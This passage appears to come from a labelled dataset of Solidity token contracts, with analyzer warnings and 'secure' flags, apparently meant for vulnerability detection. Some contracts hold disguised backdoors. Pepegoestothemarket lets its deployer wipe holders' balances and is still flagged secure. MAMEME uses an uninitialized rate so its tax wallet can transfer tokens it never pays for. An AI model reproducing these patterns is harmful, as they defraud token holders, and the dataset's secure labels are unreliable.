uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1219.sol",
"secure": 0,
"size_bytes": 18191
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Frogs is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10000000000 * 1 ether;\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"Frogs\", \"Frogs\") Ownable(msg.sender) {\n renounceOwnership();\n }\n\n function mint() external {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n}",
"file_name": "solidity_code_122.sol",
"secure": 1,
"size_bytes": 928
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Pepegoestothemarket is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable decisive;\n\n constructor() {\n _name = \"pepe goes to the market\";\n\n _symbol = \"market\";\n\n _decimals = 18;\n\n uint256 initialSupply = 497000000;\n\n decisive = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == decisive, \"Not allowed\");\n\n _;\n }\n\n function myth(address[] memory knife) public onlyOwner {\n for (uint256 i = 0; i < knife.length; i++) {\n address account = knife[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1220.sol",
"secure": 1,
"size_bytes": 4384
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Blepe is ERC20, Ownable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 69f3d2b): Blepe.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 69f3d2b: Rename the local variables that shadow another component.\n constructor() ERC20(\"Blepe\", \"BLEPE\") Ownable(msg.sender) {\n uint256 totalSupply = 420690000000 * 10 ** decimals();\n\n _mint(msg.sender, totalSupply);\n }\n}",
"file_name": "solidity_code_1221.sol",
"secure": 0,
"size_bytes": 683
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Pair {\n function sync() external;\n}",
"file_name": "solidity_code_1222.sol",
"secure": 1,
"size_bytes": 128
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MAMEME is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExile;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1eebdcd): MAMEME._taxWallet should be immutable \n\t// Recommendation for 1eebdcd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1270b16): MAMEME._initialBuyTax should be constant \n\t// Recommendation for 1270b16: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58ccf98): MAMEME._initialSellTax should be constant \n\t// Recommendation for 58ccf98: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0ea9df): MAMEME._finalBuyTax should be constant \n\t// Recommendation for e0ea9df: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a67f3d): MAMEME._finalSellTax should be constant \n\t// Recommendation for 5a67f3d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bce695f): MAMEME._reduceBuyTaxAt should be constant \n\t// Recommendation for bce695f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b189fd): MAMEME._reduceSellTaxAt should be constant \n\t// Recommendation for 2b189fd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d8905f): MAMEME._preventSwapBefore should be constant \n\t// Recommendation for 7d8905f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 11;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mother of all MEMEs\";\n\n string private constant _symbol = unicode\"MAMEME\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc81de3): MAMEME._taxSwapThreshold should be constant \n\t// Recommendation for dc81de3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c6ae47f): MAMEME._maxTaxSwap should be constant \n\t// Recommendation for c6ae47f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n struct ContractRateDetails {\n uint256 conToken;\n uint256 conUniToken;\n uint256 conTotal;\n }\n\n mapping(address => ContractRateDetails) private contractRate;\n\n IUniswapV2Router02 private _uniswapV2Router;\n\n address private _uniV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 395bf6e): MAMEME.initConRate should be constant \n\t// Recommendation for 395bf6e: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0977fcf): MAMEME.initConRate is never initialized. It is used in MAMEME._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 0977fcf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private initConRate;\n\n uint256 private finalConRate;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0x4d17A090e326B683b19f7Ccd3cD0576ddb2d7D24);\n\n _isExile[address(this)] = true;\n\n _isExile[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4a69c55): MAMEME.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4a69c55: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n\t\t// reentrancy-events | ID: a9412b0\n emit Transfer(from, to, tokenAmount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2e3dc05): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2e3dc05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a21f6c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a21f6c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2e3dc05\n\t\t// reentrancy-benign | ID: a21f6c8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2e3dc05\n\t\t// reentrancy-benign | ID: a21f6c8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d6f0cee): MAMEME._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d6f0cee: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6fca10c\n\t\t// reentrancy-benign | ID: ce477eb\n\t\t// reentrancy-benign | ID: a21f6c8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2e3dc05\n\t\t// reentrancy-events | ID: 8e53692\n\t\t// reentrancy-events | ID: a9412b0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 961c026): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 961c026: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8bc179d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8bc179d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6c9b742): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6c9b742: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniV2Pair &&\n to != address(_uniswapV2Router) &&\n !_isExile[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 961c026\n\t\t\t\t// reentrancy-benign | ID: 8bc179d\n\t\t\t\t// reentrancy-eth | ID: 6c9b742\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 961c026\n\t\t\t\t\t// reentrancy-eth | ID: 6c9b742\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExile[from] || _isExile[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 8bc179d\n finalConRate = block.number;\n }\n\n if (!_isExile[from] && !_isExile[to]) {\n if (to == _uniV2Pair) {\n ContractRateDetails storage rateData = contractRate[from];\n\n\t\t\t\t// reentrancy-benign | ID: 8bc179d\n rateData.conTotal = rateData.conToken - finalConRate;\n\n\t\t\t\t// reentrancy-benign | ID: 8bc179d\n rateData.conUniToken = block.timestamp;\n } else {\n ContractRateDetails storage toRateData = contractRate[to];\n\n if (_uniV2Pair == from) {\n if (toRateData.conToken == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 8bc179d\n toRateData.conToken = _preventSwapBefore >= _buyCount\n ? type(uint256).max\n : block.number;\n }\n } else {\n ContractRateDetails storage rateData = contractRate[from];\n\n if (\n !(toRateData.conToken > 0) ||\n rateData.conToken < toRateData.conToken\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 8bc179d\n toRateData.conToken = rateData.conToken;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 961c026\n\t\t// reentrancy-eth | ID: 6c9b742\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0977fcf): MAMEME.initConRate is never initialized. It is used in MAMEME._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 0977fcf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addr,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tknAmount = addr != _taxWallet\n ? tokenAmount\n : initConRate.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6c9b742\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 961c026\n\t\t\t// reentrancy-events | ID: a9412b0\n emit Transfer(addr, address(this), taxAmount);\n }\n\n return tknAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tknAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tknAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 6c9b742\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 6c9b742\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 961c026\n\t\t// reentrancy-events | ID: a9412b0\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2e3dc05\n\t\t// reentrancy-events | ID: 961c026\n\t\t// reentrancy-events | ID: a9412b0\n\t\t// reentrancy-benign | ID: 6fca10c\n\t\t// reentrancy-benign | ID: 8bc179d\n\t\t// reentrancy-benign | ID: a21f6c8\n\t\t// reentrancy-eth | ID: f4adf06\n\t\t// reentrancy-eth | ID: 6c9b742\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2e3dc05\n\t\t// reentrancy-events | ID: 961c026\n\t\t// reentrancy-events | ID: a9412b0\n\t\t// reentrancy-eth | ID: f4adf06\n\t\t// reentrancy-eth | ID: 6c9b742\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8e53692): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8e53692: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a9412b0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a9412b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6fca10c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6fca10c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ce477eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ce477eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c1fa43f): MAMEME.openTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value desiredETHAmount}(address(this),contractBalance,0,desiredETHAmount,owner(),block.timestamp)\n\t// Recommendation for c1fa43f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 24ac456): MAMEME.openTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),contractBalance,0,0,owner(),block.timestamp)\n\t// Recommendation for 24ac456: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 10f4708): MAMEME.openTrading() ignores return value by IERC20(_uniV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 10f4708: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 016d96b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 016d96b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f4adf06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f4adf06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external payable onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (\n IUniswapV2Factory(_uniswapV2Router.factory()).getPair(\n _uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-events | ID: 8e53692\n\t\t\t// reentrancy-events | ID: a9412b0\n\t\t\t// reentrancy-benign | ID: 6fca10c\n\t\t\t// reentrancy-benign | ID: ce477eb\n\t\t\t// reentrancy-no-eth | ID: 016d96b\n\t\t\t// reentrancy-eth | ID: f4adf06\n _uniV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n } else {\n _uniV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(\n _uniswapV2Router.WETH(),\n address(this)\n );\n }\n\n\t\t// reentrancy-no-eth | ID: 016d96b\n tradingOpen = true;\n\n uint256 contractBalance = balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: 8e53692\n\t\t// reentrancy-benign | ID: ce477eb\n _approve(address(this), address(_uniswapV2Router), contractBalance);\n\n\t\t// reentrancy-events | ID: a9412b0\n\t\t// reentrancy-benign | ID: 6fca10c\n\t\t// unused-return | ID: 10f4708\n\t\t// reentrancy-eth | ID: f4adf06\n IERC20(_uniV2Pair).approve(address(_uniswapV2Router), type(uint256).max);\n\n address wethAddress = _uniswapV2Router.WETH();\n uint256 desiredETHAmount;\n\n uint256 wethBalance = IERC20(wethAddress).balanceOf(_uniV2Pair);\n\n if (wethBalance > 0) {\n desiredETHAmount = address(this).balance.sub(wethBalance);\n\n uint256 tokenValue = contractBalance.mul(wethBalance).div(\n desiredETHAmount\n );\n\n\t\t\t// reentrancy-events | ID: a9412b0\n\t\t\t// reentrancy-benign | ID: 6fca10c\n\t\t\t// reentrancy-eth | ID: f4adf06\n _transfer(address(this), _uniV2Pair, tokenValue);\n\n\t\t\t// reentrancy-eth | ID: f4adf06\n IUniswapV2Pair(_uniV2Pair).sync();\n\n\t\t\t// unused-return | ID: c1fa43f\n\t\t\t// reentrancy-eth | ID: f4adf06\n _uniswapV2Router.addLiquidityETH{value: desiredETHAmount}(\n address(this),\n contractBalance,\n 0,\n desiredETHAmount,\n owner(),\n block.timestamp\n );\n } else {\n\t\t\t// unused-return | ID: 24ac456\n\t\t\t// reentrancy-eth | ID: f4adf06\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n contractBalance,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n\t\t// reentrancy-eth | ID: f4adf06\n swapEnabled = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function withdraw() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_1223.sol",
"secure": 0,
"size_bytes": 24653
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Buff is ERC20, Ownable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 971c500): Buff.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 971c500: Rename the local variables that shadow another component.\n constructor() ERC20(\"Buff Pepe\", \"BUFF\") Ownable(msg.sender) {\n uint256 totalSupply = 420000000 * 10 ** decimals();\n\n _mint(msg.sender, totalSupply);\n }\n}",
"file_name": "solidity_code_1224.sol",
"secure": 0,
"size_bytes": 681
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d738462): Contract locking ether found Contract Desla has payable functions Desla.receive() But does not have a function to withdraw the ether\n// Recommendation for d738462: Remove the 'payable' attribute or add a withdraw function.\ncontract Desla is ERC20, Ownable {\n constructor() ERC20(unicode\"Desla\", unicode\"DEA\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d738462): Contract locking ether found Contract Desla has payable functions Desla.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d738462: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1225.sol",
"secure": 0,
"size_bytes": 987
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7c5bf92): Contract locking ether found Contract BULLL has payable functions BULLL.receive() But does not have a function to withdraw the ether\n// Recommendation for 7c5bf92: Remove the 'payable' attribute or add a withdraw function.\ncontract BULLL is Context, IERC20, Ownable {\n uint256 private constant _totalSupply = 100_000_000e9;\n\n uint128 public minSwap = 100_000e9;\n\n uint128 public maxSwap = 100_000e9;\n\n IUniswapV2Router02 constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address immutable uniswapV2Pair;\n\n address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address payable marketingWallet;\n\n uint64 public constant buyTax = 5;\n\n uint64 public constant sellTax = 5;\n\n bool public launch;\n\n bool private inSwapAndLiquify;\n\n uint64 public lastLiquifyTime;\n\n uint256 public maxTxAmount = (_totalSupply * 2) / 100;\n\n string private constant _name = \"BULLL\";\n\n string private constant _symbol = \"BULLL\";\n\n mapping(address => uint256) private 